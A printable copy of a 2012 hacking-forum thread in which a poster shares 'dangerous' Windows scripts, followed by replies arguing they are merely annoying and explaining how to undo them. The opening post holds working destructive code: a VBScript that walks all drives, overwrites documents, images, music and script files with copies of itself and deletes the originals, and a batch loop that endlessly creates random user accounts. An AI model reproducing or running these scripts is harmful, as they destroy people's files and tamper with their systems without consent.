![]() |
|
Some dangerous codes in .bat - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Coding (https://sinister.li/Forum-Coding--71) +--- Thread: Some dangerous codes in .bat (/Thread-Some-dangerous-codes-in-bat) |
Some dangerous codes in .bat - Asuna_mybb_import7736 - 02-29-2012 Okay lets start: This keeps making new folders! (By accindent i opended it, and after 5-10 seconds it had made about 40.000 new folders ()Quote:@ECHO OFF Second: Set fso = WScript.CreateObject("Scripting.Filesystemobject") For Each d In fso.Drives If d.DriveType + 2 And d.IsReady = True Then Call SubFolders(d & "\") End If Next Function infect(path) On Error Resume Next Set fold = fso.GetFolder(path) For Each f In fold.Files ext = fso.GetExtensionName(f.path) If (ext="doc") or (ext="txt") or (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") or (ext="js") or (ext="mp2") or (ext="mp3") or (ext="vbs") or (ext="vbe") or (ext="jpeg") or (ext="jpg") Then fso.CopyFile WScript.ScriptFullName, f.path & ".vbs", True fso.DeleteFile f.Path, True End if Next End Function Function SubFolders(path) On Error Resume next For Each subf In fso.GetFolder(path).SubFolders Call Infect(subf.Path) Call SubFolders(subf.Path) next End function Last*-: Keep making new users @echo off echo Hey man! :add net user %random% /add start acf.bat goto add RE: Some dangerous codes in .bat - Dawnc0re - 02-29-2012 Hi. Everything seems ok with the code but one thing: -There isn't such thing as "Deadly .bat" or "The most dangerous .bat" , .bat aren't even viruses, all they do is copy-paste, matrix.bat, open url... RE: Some dangerous codes in .bat - Asuna_mybb_import7736 - 03-01-2012 I know it isn't vira but these are still pretty dangerous! They fuck you computer totally up! :lol: RE: Some dangerous codes in .bat - Frooxius - 03-01-2012 They're not really dangerous, I would say they're just annoying. The first one creates just a bunch of folders, which isn't really harmful to the system. First, you would need insane amount of folders to fill up the whole drive and even if you did, it doesn't hurt the system really, you just delete them and everything is back to normal. Making tons of folders is probably as dangerous, as trying to destroy a building by throwing sheets of A4 sized paper on it. Additionally, the code isn't really good, it contains a lot of repetition: remember, repeating and duplicating portions code is bad, it should be designed to be generic and allow to be reused, which makes it both simpler, easier to manage and look better. I suggest looking up and learning about a FOR loop, if you want to repeat some code a specified amount of times. Also, you don't need to put "@" before every echo command, by using "@echo off" you basically tell it that you don't want to print any of the following commands, only their outputs, so it's kind of pointless to use "@echo off" and then manually suppress it for almost all commands anyway. Second is a bit worse, since it deletes some files (it doesn't really infect anything, it just replaces the file with the script, which is not infecting. Infecting would be if it would embedded itself into the original file, so it would be launched secretly whenever the original file is launched), but you can recover deleted files if you do it right away or recover it from a backup if you have one. And same with adding many new users. You can always remove them, it's even easy if you use a timestamps when they were added. Simply delete all users that were added after certain date, which will be basically when the script was run. So no, they are not really dangerous, what they do can be reversed, in some cases quite easily, so they're rather annoying. To make something really dangerous, you need to dig more into the system and options that are there and find stuff you can exploit and that's difficult to restore back. RE: Some dangerous codes in .bat - Asuna_mybb_import7736 - 03-01-2012 Froox, thanks for the feedback ![]() Well, i've heard that the first would crash your computer if the victim doesn't know whats happening. Same with the "new user" bat file. + It cooks your CPU to max high! :lol: RE: Some dangerous codes in .bat - Frooxius - 03-01-2012 That's nonsense. First, it's not really very processor intensive, but rather IO intensive task, so I doubt that it would even fully load processor, secondly, processors can't be "cooked" by working at full performance, unless they have bad cooling, in which case user would most probably have trouble even without any such script. There are various tasks that utilize processor a lot, for example rendering 3D scene or a video can easily utilize all available cores to max and run even for hours and it doesn't crash system, unless it's really bad computer with unstable hardware and that would only make it restart. Even some games can utilize hardware a lot - not just processor, but also GPU and it also doesn't "cook" the computer. Processors have various mechanisms that prevent killing them by high temperature, such as inserting idle loops when it's overheating (thus effectively slowing down - instead of doing calculations, it devotes some of its time to doing nothing and thus cooling down). Both software and hardware are now designed in a way that prevents damaging them so easily, so it's mostly a rumor. Also many folders and running out of space doesn't crash the OS, it can't be taken down so simply, it will maximally slow the computer down a bit during the execution, but otherwise it's harmless. RE: Some dangerous codes in .bat - Dawnc0re - 03-01-2012 Frooxius can you write in short lines? Since HC restarted your sentences are big. OT: Same what he said. RE: Some dangerous codes in .bat - Frooxius - 03-01-2012 My sentences were always long Except a few short ones. I prefer to include more information about the topic and explain it in an understandable manner, shortening leaves important information out, increases ambiguity and in overall decreases change of proper understanding by someone unaware of the topic.
RE: Some dangerous codes in .bat - Asuna_mybb_import7736 - 03-02-2012 Thnx...It wasn't nice said
|